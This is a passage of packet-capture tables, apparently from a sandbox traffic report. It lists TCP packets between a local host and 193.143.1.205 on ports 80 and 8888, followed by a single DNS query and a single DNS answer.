Jan 10, 2025 23:46:26.506402969 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.506431103 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506447077 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506462097 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506478071 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506485939 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.506494045 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.506537914 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.509330034 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509346962 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509363890 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509367943 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.509391069 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509398937 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.509414911 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509429932 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509438992 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509448051 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509463072 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509469986 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.509491920 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509515047 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.509515047 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509532928 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509547949 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509563923 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.509563923 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509594917 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.509902954 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509919882 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509938002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509947062 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.509954929 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509970903 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.509982109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.509998083 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.510015011 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.510019064 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.510030031 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.510066986 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.510077953 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.510094881 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.510108948 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.510113001 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.510135889 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.510153055 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.510154009 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.510168076 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.510193110 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.510574102 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.542896986 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.542926073 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.542937994 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.542941093 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.542967081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.542973995 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.542984009 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.543003082 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.543020964 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.543102026 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.543118000 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.543134928 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.543139935 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.543178082 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.552678108 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.552763939 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.552803040 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.552823067 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.552850008 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.552865982 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.552892923 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.552901983 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.552917957 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.552944899 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.552948952 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.552959919 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.552973986 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.552988052 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.552989006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553004980 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.553008080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553024054 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553040028 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553045988 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.553081036 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.553097010 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553111076 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553127050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553148985 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.553184986 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553201914 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553217888 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553236008 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553247929 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.553251982 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553261995 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.553268909 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553284883 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.553297043 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.553324938 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.577795982 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.585830927 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591170073 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591198921 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591216087 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591233969 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591244936 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591262102 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591275930 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591290951 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591305017 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591316938 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591342926 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591357946 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591381073 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591389894 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591406107 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591419935 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591434002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591434956 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591453075 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591459990 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591466904 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591490030 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591491938 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591517925 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591531038 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591537952 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591547966 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591562986 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591573000 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591587067 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591608047 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591612101 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591628075 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591650009 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591660023 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591674089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591689110 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591691971 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591707945 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591732025 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591734886 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591746092 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591763020 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591773987 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591783047 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591799021 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591809034 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591814995 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591839075 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591840982 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591856956 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591876030 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591886044 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591902018 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591917038 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591917992 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591933012 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591955900 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591958046 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.591973066 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591989994 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.591999054 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592008114 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592031956 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592034101 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592051029 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592067003 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592075109 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592086077 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592111111 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592109919 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592128038 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592152119 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592159986 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592170954 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592197895 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592251062 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592267990 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592284918 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592300892 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592305899 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592318058 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592325926 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592365026 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592365026 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592384100 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592400074 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592416048 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592425108 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592443943 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592454910 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592458963 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592478991 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592493057 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592502117 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592519999 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592530012 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592539072 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592554092 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592590094 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592593908 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592611074 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592626095 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592638016 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592645884 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592663050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592667103 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592680931 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592704058 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592736959 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592751980 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592784882 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592787027 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592802048 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592818022 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592833996 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592835903 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592854023 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592854977 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592869043 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592909098 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592924118 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592936039 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592941046 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592950106 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.592984915 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.592986107 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.593002081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.593049049 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.593050003 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.593066931 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.593084097 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.593100071 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.593112946 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.593139887 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.593182087 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.593209028 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.593250036 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.612409115 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.629699945 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.629718065 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.629740953 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.629760027 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.629764080 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.629776001 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.629792929 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.629795074 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.629806042 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.629823923 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.629841089 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.629858971 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.629873037 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639641047 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639666080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639698982 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639713049 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.639738083 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.639761925 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639786959 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639806986 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639830112 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.639846087 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639873028 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639889002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639892101 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.639903069 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639918089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639926910 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.639936924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639951944 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639961958 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.639967918 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.639997005 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.640013933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.640029907 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.640044928 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.640052080 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.640060902 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.640085936 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.640085936 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.640101910 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.640124083 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.640127897 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.640142918 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.640160084 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.640166998 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.640198946 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.640223980 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.640238047 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.640280008 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.652690887 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.678081036 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678095102 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678117990 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678133965 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678144932 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.678149939 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678174973 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678180933 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.678189993 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678214073 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678217888 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.678227901 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678251028 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678253889 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.678267956 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678282976 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678287983 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.678299904 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678323030 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.678323030 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678342104 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678356886 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678368092 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.678375006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678401947 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.678461075 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678476095 CET	80	49747	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:26.678503990 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.725871086 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:26.830722094 CET	49747	80	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:27.176579952 CET	49758	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:27.181405067 CET	8888	49758	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:27.185623884 CET	49758	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:27.187340975 CET	49758	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:27.192166090 CET	8888	49758	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:27.971271992 CET	8888	49758	193.143.1.205	192.168.2.9
Jan 10, 2025 23:46:28.015337944 CET	49758	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 23:46:28.191910028 CET	49758	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:46:34.249469042 CET	65090	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:46:34.249469042 CET	192.168.2.9	1.1.1.1	0x793e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:46:18.170217037 CET	1.1.1.1	192.168.2.9	0x348e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
